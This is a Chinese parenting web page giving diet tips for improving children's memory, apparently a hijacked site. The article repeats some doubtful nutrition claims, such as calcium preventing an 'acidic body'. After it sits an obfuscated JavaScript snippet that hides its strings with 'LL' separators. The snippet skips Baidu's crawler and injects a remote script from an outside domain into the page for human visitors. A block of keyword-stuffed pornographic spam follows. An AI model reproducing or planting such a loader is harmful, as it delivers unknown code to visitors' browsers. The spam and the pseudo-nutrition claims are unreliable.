當前位置:首頁 > 母嬰 > 育兒知識 > 正文

如何讓孩子記憶力提高呢?

2017-04-02 11:38:03  來源:360常識網   熱度:
導語:孩子小小的年紀正在發育和成長度的關鍵時期,如果記憶力不好或是出現下降的現象,問題可是很嚴重的,家人們也必須要提高警惕,那么如何讓孩

孩子小小的年紀正在發育和成長度的關鍵時期,如果記憶力不好或是出現下降的現象,問題可是很嚴重的,家人們也必須要提高警惕,那么如何讓孩子記憶力提高?在此階段,提高記憶力無非就是從飲食及生活起居入手來調理,多吃一些營養豐富且有助于改善記憶力的食物很重要。

卷心菜中富含維生素B,能有效地預防大腦疲勞,從而起到增強記憶力的作用。大豆含有蛋黃素和豐富的蛋白質,每天食用適量的大豆或豆制品,可增強記憶力。卵磷脂被譽為維持聰明的“電池”,有助于增強記憶力。食用如芝麻、杏仁、松子、葵花子、西瓜子、核桃、南瓜子、花生、魚等食物都有助于維護腦功能,增強記憶力。

維生素是維護身體健康,提高智力活動的重要營養素之一。如維生素C是保護腦功能的重要物質。B族維生素尤其是維生素B1、B6、B12和葉酸都與腦功能的健全有一定的關系。1個柑橘(或獼猴桃),或者5粒草莓(或者大棗),就能滿足一天所需的維生素C。

含有豐富維生素B1的食物有:小麥胚芽、豬腿肉、大豆、花生、火腿、黑米、雞肝等。含有維生素B6、維生素B12、煙酸、泛酸和葉酸的食物有:肝、肉類、牛奶、魚、豆類、蛋黃、堅果類、菠菜、奶酪等。

鈣能保證腦力旺盛、工作持久、頭腦冷靜并提高人的判斷力,并和其他堿性元素在一起,能維持體液的酸堿平衡,避免因飲食不當而形成酸性體質,使人感到疲倦,影響大腦的工作效率。鈣含量高的食物有:牛奶、酸奶、花生、芝麻醬、豆腐等。此外,運動和曬太陽都對補鈣有好處。

上文中明確介紹了如何讓孩子記憶力提高,希望對孩子們有所幫助,發育的時期還是不能缺少營養的,多吃點維生素豐富的食物,補充個鈣鋅都是必不可少的,當然了睡眠方面也要養成一個好的習慣,保證充足睡眠,規律作息也很重要。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
动漫精品专区一区二区三区不卡 | 色妞WWW精品免费视频| 中日韩精品电影推荐网站| 琪琪精品视频在线观看| 国产中文在线亚洲精品官网| 国产精品无码久久综合网| 亚洲一二成人精品区| 国产成人精品福利网站在线观看 | 在线精品免费视频| 99久久99热精品免费观看国产 | 亚洲精品无码久久久久秋霞| 亚洲国产精品无码久久一线| 日韩精品一区二区三区在线观看| 国产成人亚洲精品| 久久99热精品免费观看牛牛 | 无码国产精品一区二区免费式影视 | 中文字幕精品亚洲无线码一区应用| 国产精品麻花传媒二三区别| 亚洲精品自拍视频| 久久精品国产99国产精2020丨| 亚洲国产精品尤物YW在线观看| 亚洲av日韩精品久久久久久a| 奇米精品视频一区二区三区| 最新国产成人精品2024| 亚洲人午夜射精精品日韩| 在线观看91精品国产不卡免费| 久久久无码精品亚洲日韩京东传媒 | 国产在线麻豆精品| 国产精品日韩欧美一区二区三区| 91国内揄拍国内精品对白| 久久精品国产精品国产精品污| 久久se这里只有精品| 午夜精品久久久内射近拍高清| 国产麻豆剧果冻传媒免精品费网站| 色妞妞www精品视频| 久久99精品国产麻豆| 久久国产乱子伦精品免费一| 九九99精品久久久久久| 中文字幕久久精品| 伊人久久精品亚洲午夜| 久久久精品视频免费观看|